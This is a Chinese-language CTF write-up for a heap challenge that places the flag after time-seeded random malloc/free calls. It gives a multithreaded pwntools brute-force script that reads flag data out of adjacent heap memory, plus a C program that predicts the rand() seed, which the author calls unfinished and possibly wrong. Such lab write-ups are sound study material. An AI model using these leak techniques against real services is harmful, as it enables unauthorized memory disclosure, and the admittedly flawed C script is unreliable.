题目链接: 本链接加上 ./pwn即可
程序逻辑分析
该程序是根据时间戳为随机数的种子,然后随机malloc和free一些内存,即把堆的空间打乱,然后再去给flag分配内容空间,然后把控制权交给用户,让用户进行操作.
解题思路 思路一 枚举 不论是最开始的打乱堆空间还是分配flag的堆空间,堆块的大小都限定在了0x400以内,也就是tcache的范围. 换言之,堆块的大小有40种情况.
flag分配的堆块必定在这40种情况之中,如果在flag分配的时候,正好分配到了tcache中的bin,那么如果知道tcache中的这个bin的空间中的前一个bin的大小,那么就可以去申请这个bin,然后进行show打印,就有可能打印出来flag.
举例:
先随机化分配了一些堆块
0x100
0x40
0x30
0x50
0x40
然后释放了一些堆块
0x100
0x40
0x30
0x50
0x40
申请flag堆块
0x100
0x40
0x30
0x50 flag
0x40
此时,如果能够申请到0x40的空闲堆块,然后进行打印,就有可能会打印出来flag
这种方法存在一定的约束条件:
1.根据tcache的后进先出原则,flag前的空闲堆块需要是最后一个释放的空间,不然的话就要先申请它后面的tcache bin
2.flag的堆块与前面一个空闲堆块的距离要小于show能打印的范围
不过随着尝试的次数增多,总会有满足这两个约束条件的情况,利用多线程,申请0x10,0x20,0x30….0x400大小的堆块,可以满足所有的情况,那么唯一不确定的就是是否符合约束条件,但通过该种尝试,也大大提高了枚举的成功率
exp攻击脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *import threadingimport sysdef brute_force (size ): p = remote("xxxx" , xxxxx) context.log_level = 'debug' p.sendlineafter("> " ,str (1 )) p.sendlineafter("Index: " ,str (1 )) p.sendlineafter("Size: " ,str (size)) p.sendlineafter("Data: " ,"aaa" ) p.sendlineafter("> " ,str (3 )) p.sendlineafter("Index: " ,str (1 )) recv = p.recv(1024 ) while True : if b"flag" in recv: print (recv) break else : p.sendline(str (3 )) p.sendlineafter("Index: " ,str (1 )) recv = p.recv(1024 ) p.close() if __name__ == '__main__' : threads = [] for i in range (0x10 , 0x410 , 0x10 ): t = threading.Thread(target=brute_force, args=(i,)) threads.append(t) t.start() for t in threads: t.join()
把输出 重定向到1.txt 一次不一定能成功,一般几次就可以了
思路二 漏洞点分析 随机数种子设置代码:v3 = time(0LL);
对随机数的种子的设置是精确到了s,所以它事实上是可以进行预测的.如果随机值是确定的,那么就可以确定后面分配了哪些堆块,释放了哪些堆块,flag申请到了哪个堆块,flag前面的空闲堆块是哪一个,都可以进行确定
如何就可以获取flag堆块前面的第一个空闲堆块的大小,也可以获取它是第几个.
然后就可以根据时间戳获取确定的解了,就可以算出即将到来的时间对应的解.在时间到来时发送payload即可.
根据时间戳获取flag堆块前一个空闲堆块脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 #include <stdio.h> #include <stdlib.h> #include <time.h> #define SIZE 10 int main () { srand(1000 ); int v0 = rand();unsigned int v1 = v0 >> 31 ;unsigned int v2 = v1 >> 24 ;unsigned int v3 = v2 + v0;unsigned int v4 = v1 >> 24 ;unsigned char v5 = (unsigned char )v3 - (unsigned char )v4;v3 = v5; void ** pre_sprays = malloc (v3 * sizeof (void *));int *pre_spray_sizes = malloc (v3 * sizeof (size_t ));for (int i = 0 ; i < v3; ++i ) { v1 = rand(); pre_sprays[i] = malloc (v1 % 1024 ); pre_spray_sizes[i] = malloc_usable_size(pre_sprays[i]); } for (int i=0 ;i<v3;++i){ printf ("%d\n" ,pre_spray_sizes[i]); } int *pre_free_sizes = malloc (v3 * sizeof (size_t ));for ( int j = 0 ; j < v3; ++j ) { v1 = rand(); if ( ( v1 & 1 ) != 0 ) { pre_free_sizes[j] = pre_spray_sizes[j]; free (pre_sprays[j]); } } for (int j=0 ;j<v3;++j){ printf ("index:%d, size:%d\n" ,j,pre_free_sizes[j]); } v1 = rand() % 982 + 42 ; char * flagaddr = malloc (v1); int flagsize = malloc_usable_size(flagaddr); v1 = rand(); printf ("flag size:%d\n" ,flagsize); int tmp; for (int i = v3 - 1 ; i >= 0 ; i--) { if (pre_free_sizes[i] == flagsize) { printf ("%d is the index\n" ,i); tmp = i; break ; } } for (int i = tmp - 1 ; i >= 0 ; i--) { if (pre_free_sizes[i]!= 0 ) { printf ("index: %d , size: %d " ,i,pre_free_sizes[i]); break ; } } return 0 ; }
根据这个脚本可以获取flag堆块前面一个空闲堆块的位置和大小,(脚本有待完善,没有判断是第几个,大小貌似也有点问题)
还有就是可以同时多开几个不同的大小的,一起尝试
技术点总结 1.c语言随机数函数srand、rand的理解
其实这是个伪随机数函数,如果能确定srand的输入,那么随机数的种子就是确定的,rand得到的随机数的值也是确定的.
2.对堆块布局的理解
在没有bin的情况下,堆的申请在堆内存中是连续的,所以堆块之间都是相邻的,如果想要获取一个堆块的信息,可以通过与它相临的堆块的越界读取来获得.